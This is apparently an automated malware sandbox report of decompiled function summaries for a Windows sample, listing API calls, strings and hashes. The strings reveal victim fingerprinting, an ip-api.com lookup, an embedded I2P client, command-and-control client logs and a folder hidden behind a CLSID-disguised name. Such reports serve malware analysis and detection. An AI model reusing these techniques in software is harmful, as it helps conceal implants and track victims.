String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: bb319203d5cbb6e5fb51f96cff94c8619a199eb4c6fbc46879cfc4f1c9ae0bb2
Instruction ID: 83a1c38ba7d02ff4256f65cf155754944c0ef5c87e64cdc40de87c248c2625ab
Opcode Fuzzy Hash: bb319203d5cbb6e5fb51f96cff94c8619a199eb4c6fbc46879cfc4f1c9ae0bb2
Instruction Fuzzy Hash: 80D17521E0CA5385FB298B9CE8623B963A0EF417DCF156033CB4E57696DE2DEC499341

Function 00007FF8BA503420 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BA509FF4: LoadLibraryA.KERNEL32 ref: 00007FF8BA50A002

Part of subcall function 00007FF8BA509F73: GetProcAddress.KERNEL32 ref: 00007FF8BA509F93

FreeLibrary.KERNEL32 ref: 00007FF8BA5034B3
GetNativeSystemInfo.KERNEL32 ref: 00007FF8BA5034FF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8BA503518
GetLastError.KERNEL32 ref: 00007FF8BA503526

Strings

:, xrefs: 00007FF8BA503679
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8BA503648
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8BA5037DC
%, xrefs: 00007FF8BA503627
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8BA503538
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8BA5036E5
ntdll.dll, xrefs: 00007FF8BA503428
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8BA503941
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA5034CD
RtlGetVersion, xrefs: 00007FF8BA503440
sys_init, xrefs: 00007FF8BA503491, 00007FF8BA5034C6, 00007FF8BA503531, 00007FF8BA50360C, 00007FF8BA5036DE, 00007FF8BA50371C, 00007FF8BA5037D5, 00007FF8BA50386B, 00007FF8BA50393A
MachineGuid, xrefs: 00007FF8BA503641
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8BA50363A, 00007FF8BA50370E
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8BA503723
C:\Windows, xrefs: 00007FF8BA503511, 00007FF8BA5035FE
, xrefs: 00007FF8BA5036F1
~, xrefs: 00007FF8BA503747
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8BA503872
P, xrefs: 00007FF8BA503750
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8BA503498
\, xrefs: 00007FF8BA50367E
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8BA503613

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: bc4cb478b8c36a5fe85cd5a1edcd2139b3db3fb45a3deb900e437d1778e96289
Instruction ID: 34ccbaca7a4e1c7f37488826fceb1f2295cd5b1b851f143999c5ec2b6b174b42
Opcode Fuzzy Hash: bc4cb478b8c36a5fe85cd5a1edcd2139b3db3fb45a3deb900e437d1778e96289
Instruction Fuzzy Hash: 78D15B71E0C652C2F6308B9DAC843BA2260AF437E4F5540F2DF5E472B4DE2DAA848385

Function 00007FF8B918E870 Relevance: 56.3, APIs: 10, Strings: 22, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9181AA4: LoadLibraryA.KERNEL32 ref: 00007FF8B9181AB2

Part of subcall function 00007FF8B9181A23: GetProcAddress.KERNEL32 ref: 00007FF8B9181A43

FreeLibrary.KERNEL32 ref: 00007FF8B918E903
GetNativeSystemInfo.KERNEL32 ref: 00007FF8B918E94F
GetWindowsDirectoryA.KERNEL32 ref: 00007FF8B918E968
GetLastError.KERNEL32 ref: 00007FF8B918E976

Strings

[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF8B918EB35
P, xrefs: 00007FF8B918EBA0
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF8B918ECC2
MachineGuid, xrefs: 00007FF8B918EA91
RtlGetVersion, xrefs: 00007FF8B918E890
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF8B918EA63
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF8B918EC2C
\, xrefs: 00007FF8B918EACE
, xrefs: 00007FF8B918EB41
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF8B918ED91
sys_init, xrefs: 00007FF8B918E8E1, 00007FF8B918E916, 00007FF8B918E981, 00007FF8B918EA5C, 00007FF8B918EB2E, 00007FF8B918EB6C, 00007FF8B918EC25, 00007FF8B918ECBB, 00007FF8B918ED8A
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF8B918EA98
ntdll.dll, xrefs: 00007FF8B918E878
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF8B918E988
~, xrefs: 00007FF8B918EB97
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918E91D
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF8B918EB73
:, xrefs: 00007FF8B918EAC9
C:\Windows, xrefs: 00007FF8B918E961, 00007FF8B918EA4E
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF8B918EA8A, 00007FF8B918EB5E
%, xrefs: 00007FF8B918EA77
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF8B918E8E8

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: $%$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$P$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$sys_init$~
API String ID: 3828489143-883582248
Opcode ID: 4dc01b5f75b270360606047a0468cbd7355a8116ebbaa9ee14f43ce93feb006c
Instruction ID: b3bf22cab428c52db068d7083d2ad9d40cce2f7d42920e4353f3dfbedd385ec5
Opcode Fuzzy Hash: 4dc01b5f75b270360606047a0468cbd7355a8116ebbaa9ee14f43ce93feb006c
Instruction Fuzzy Hash: F4D18D21E0C6D682FA60EF1CE4843B87A95AF417E4F564132CB9E072A2DE6DAC45B741

Function 00007FF7088793F0 Relevance: 52.8, APIs: 10, Strings: 20, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF708871694: LoadLibraryA.KERNEL32(?,?,service,000001B9FFF913D0,00007FF708879404), ref: 00007FF7088716A2

Part of subcall function 00007FF708871613: GetProcAddress.KERNEL32(?,?,00000000,000001B9FFF913D0,?,00007FF70887941F), ref: 00007FF708871633

FreeLibrary.KERNEL32 ref: 00007FF708879483
GetNativeSystemInfo.KERNEL32 ref: 00007FF7088794CF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7088794E8
GetLastError.KERNEL32 ref: 00007FF7088794F6

Strings

service, xrefs: 00007FF7088793F3
[E] (%s) -> RtlGetVersion failed(res=%08lx), xrefs: 00007FF708879468
%, xrefs: 00007FF7088795F7
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF70887949D
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF7088796B5
\, xrefs: 00007FF70887964E
C:\Windows, xrefs: 00007FF7088794E1, 00007FF7088795CE
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF708879842
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF708879618
ntdll.dll, xrefs: 00007FF7088793F8
sys_init, xrefs: 00007FF708879461, 00007FF708879496, 00007FF708879501, 00007FF7088795DC, 00007FF7088796AE, 00007FF7088796EC, 00007FF7088797A5, 00007FF70887983B, 00007FF70887990A
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF7088797AC
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF708879508
:, xrefs: 00007FF708879649
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF7088795E3
MachineGuid, xrefs: 00007FF708879611
[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF708879911
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF70887960A, 00007FF7088796DE
RtlGetVersion, xrefs: 00007FF708879410
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF7088796F3

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: %$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$service$sys_init
API String ID: 3828489143-3798070276
Opcode ID: a1b5e51bd6410f3c83cdfc6e219792161668188f7e39e64117da69d6b01f4c97
Instruction ID: 0dc005fbc2ef7a2b73d71beacf92cdcd9264e75e5675e43bac14173969b0c8b8
Opcode Fuzzy Hash: a1b5e51bd6410f3c83cdfc6e219792161668188f7e39e64117da69d6b01f4c97
Instruction Fuzzy Hash: 3ED12D21D3D65281FA20EB14EC80FB9EA70AF40B54FD54032C94E576E5DF2DECA487A9

Function 00007FF8BFB8330E Relevance: 39.4, APIs: 7, Strings: 19, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TGER, xrefs: 00007FF8BFB83454
TPCR, xrefs: 00007FF8BFB833A6
-ILCCNC-, xrefs: 00007FF8BFB83320
-ILCCNC-, xrefs: 00007FF8BFB838BA
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB839FB
--TSCB--, xrefs: 00007FF8BFB83929
h, xrefs: 00007FF8BFB83449
-ILCCNC-, xrefs: 00007FF8BFB8345F
KCIT, xrefs: 00007FF8BFB8333A
curl/8.4.0, xrefs: 00007FF8BFB83665
ip-api.com, xrefs: 00007FF8BFB8365E
referrer, xrefs: 00007FF8BFB835B2
-VRSCNC-, xrefs: 00007FF8BFB83919
, xrefs: 00007FF8BFB838A4
AKAK, xrefs: 00007FF8BFB838AF
AKAK, xrefs: 00007FF8BFB8339F
last-patch, xrefs: 00007FF8BFB83580
/line?fields=query, xrefs: 00007FF8BFB83651
mem_alloc, xrefs: 00007FF8BFB839F4

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID:
String ID: $--TSCB--$-ILCCNC-$-ILCCNC-$-ILCCNC-$-VRSCNC-$/line?fields=query$AKAK$AKAK$KCIT$TGER$TPCR$[E] (%s) -> Memory allocation failed(size=%llu)$curl/8.4.0$h$ip-api.com$last-patch$mem_alloc$referrer
API String ID: 0-3139374006
Opcode ID: a59f30150775796cf729d42dacd5df686f13eafd5d338df122460e0b1b621434
Instruction ID: fad7b1b2de246126d52592ebaaa2794690377ae170ecaacc6295d77309f1d893
Opcode Fuzzy Hash: a59f30150775796cf729d42dacd5df686f13eafd5d338df122460e0b1b621434
Instruction Fuzzy Hash: 3F124C72A0C68286EB608B9DE4803B9B7A0EB887D4F544235DB9D477E6DF7CE554CB00

Function 00007FF8BFB88760 Relevance: 37.7, APIs: 9, Strings: 16, Instructions: 167
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB844A4: LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB84170: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB8418E

strlen.MSVCRT ref: 00007FF8BFB888B8
strlen.MSVCRT ref: 00007FF8BFB888D4
strcat.MSVCRT ref: 00007FF8BFB888F0
strlen.MSVCRT ref: 00007FF8BFB888F8
strcat.MSVCRT ref: 00007FF8BFB8891F
strlen.MSVCRT ref: 00007FF8BFB88927
strcat.MSVCRT ref: 00007FF8BFB88945
strlen.MSVCRT ref: 00007FF8BFB8894D
strlen.MSVCRT ref: 00007FF8BFB88967

Strings

C_StartI2P, xrefs: 00007FF8BFB889F7
[I] (%s) -> %s, xrefs: 00007FF8BFB88A3C
i2p_init, xrefs: 00007FF8BFB88A35, 00007FF8BFB88A5B
Done, xrefs: 00007FF8BFB88A2E
i2p, xrefs: 00007FF8BFB88A1E
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB88A62
libi2p.dll, xrefs: 00007FF8BFB88852
i2p.conf, xrefs: 00007FF8BFB88900
--conf=, xrefs: 00007FF8BFB8876A
i2p, xrefs: 00007FF8BFB8892C
i2p.su3, xrefs: 00007FF8BFB88989
.file=, xrefs: 00007FF8BFB887E3
i2p.su3, xrefs: 00007FF8BFB88952
C_InitI2P, xrefs: 00007FF8BFB889D8
--reseed, xrefs: 00007FF8BFB887D9
--datadi, xrefs: 00007FF8BFB887A4

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$strcat$HandleLibraryLoadModule
String ID: --conf=$--datadi$--reseed$.file=$C_InitI2P$C_StartI2P$Done$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$i2p$i2p$i2p.conf$i2p.su3$i2p.su3$i2p_init$libi2p.dll
API String ID: 1893813203-492052463
Opcode ID: ca066c6045d2f2a4322d3373cf1fe784a61079aaa6ce0be1ffd8e7fa4d20b0cc
Instruction ID: 105556b51660528c26000f71e2e3f01d013de8393248e407d63bcaaaab8658c6
Opcode Fuzzy Hash: ca066c6045d2f2a4322d3373cf1fe784a61079aaa6ce0be1ffd8e7fa4d20b0cc
Instruction Fuzzy Hash: 3B719C31A1DB8392EB219B99E4803FA6395EB887C0F845131DB4D4BB9AEF3CD905C740

Function 00007FF8BFB5317C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB5319C
GetLastError.KERNEL32 ref: 00007FF8BFB532D0

Part of subcall function 00007FF8BFB51E40: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB51E5E

strlen.MSVCRT ref: 00007FF8BFB531EE
strlen.MSVCRT ref: 00007FF8BFB5320A
strcat.MSVCRT ref: 00007FF8BFB53225
strlen.MSVCRT ref: 00007FF8BFB5322D
strlen.MSVCRT ref: 00007FF8BFB53242
fopen.MSVCRT ref: 00007FF8BFB53268

Strings

[I] (%s) -> %s, xrefs: 00007FF8BFB5341B
Done, xrefs: 00007FF8BFB5340D
log, xrefs: 00007FF8BFB53257
P, xrefs: 00007FF8BFB5335A
, xrefs: 00007FF8BFB532EE
debug_init, xrefs: 00007FF8BFB5328E, 00007FF8BFB532B3, 00007FF8BFB532DB, 00007FF8BFB533A0, 00007FF8BFB53414
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB532BA
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFB533A7
~, xrefs: 00007FF8BFB53355
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFB53295
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFB532E2
dwlmgr.l, xrefs: 00007FF8BFB5324A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FF8BFB531CE, 00007FF8BFB531E4, 00007FF8BFB5321B, 00007FF8BFB53238, 00007FF8BFB53287

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$dwlmgr.l$log$~
API String ID: 3395718042-2859552336
Opcode ID: 27ea5ecb8930a5d572a67ee6d818b6b1525ff907abdc708875468967654232a4
Instruction ID: 2bdc8611c17d197b602f3bddae61beebac0a91e13cdcc8640771f7311e5a3bda
Opcode Fuzzy Hash: 27ea5ecb8930a5d572a67ee6d818b6b1525ff907abdc708875468967654232a4
Instruction Fuzzy Hash: FE514012E1C707A2FA206BDDA8A43BC7352AF557C4F584032CB0D46BA2DEADB956C341

Function 00007FF8BFB8143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB8145C
GetLastError.KERNEL32 ref: 00007FF8BFB81590

Part of subcall function 00007FF8BFB84170: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB8418E

strlen.MSVCRT ref: 00007FF8BFB814AE
strlen.MSVCRT ref: 00007FF8BFB814CA
strcat.MSVCRT ref: 00007FF8BFB814E5
strlen.MSVCRT ref: 00007FF8BFB814ED
strlen.MSVCRT ref: 00007FF8BFB81502
fopen.MSVCRT ref: 00007FF8BFB81528

Strings

[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFB81555
log, xrefs: 00007FF8BFB81517
~, xrefs: 00007FF8BFB81615
cnccli.l, xrefs: 00007FF8BFB8150A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FF8BFB8148E, 00007FF8BFB814A4, 00007FF8BFB814DB, 00007FF8BFB814F8, 00007FF8BFB81547
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB8157A
debug_init, xrefs: 00007FF8BFB8154E, 00007FF8BFB81573, 00007FF8BFB8159B, 00007FF8BFB81660, 00007FF8BFB816D4
, xrefs: 00007FF8BFB815AE
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFB81667
[I] (%s) -> %s, xrefs: 00007FF8BFB816DB
Done, xrefs: 00007FF8BFB816CD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFB815A2
P, xrefs: 00007FF8BFB8161A

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$cnccli.l$debug_init$log$~
API String ID: 3395718042-315528054
Opcode ID: 602e9c047fdca86cbadb0e5c23cdcfb60371812318e93288b996e6c907137449
Instruction ID: f429e8a65ea131e304848889b0689bfcdaa34c7f643bb8ab0c88b0ac273ec320
Opcode Fuzzy Hash: 602e9c047fdca86cbadb0e5c23cdcfb60371812318e93288b996e6c907137449
Instruction Fuzzy Hash: 3E514960E1E70386FB649BDDE8903F82354AF897C4F548032DB4E466A7DE6CA996C341

Function 00007FF8B915143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B915145C
GetLastError.KERNEL32 ref: 00007FF8B9151590

Part of subcall function 00007FF8B915CC60: GetModuleHandleExA.KERNEL32 ref: 00007FF8B915CC7E

strlen.MSVCRT ref: 00007FF8B91514AE
strlen.MSVCRT ref: 00007FF8B91514CA
strcat.MSVCRT ref: 00007FF8B91514E5
strlen.MSVCRT ref: 00007FF8B91514ED
strlen.MSVCRT ref: 00007FF8B9151502
fopen.MSVCRT ref: 00007FF8B9151528

Strings

[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8B91515A2
samctl.l, xrefs: 00007FF8B915150A
Done, xrefs: 00007FF8B91516CD
~, xrefs: 00007FF8B9151615
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FF8B915148E, 00007FF8B91514A4, 00007FF8B91514DB, 00007FF8B91514F8, 00007FF8B9151547
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8B9151555
, xrefs: 00007FF8B91515AE
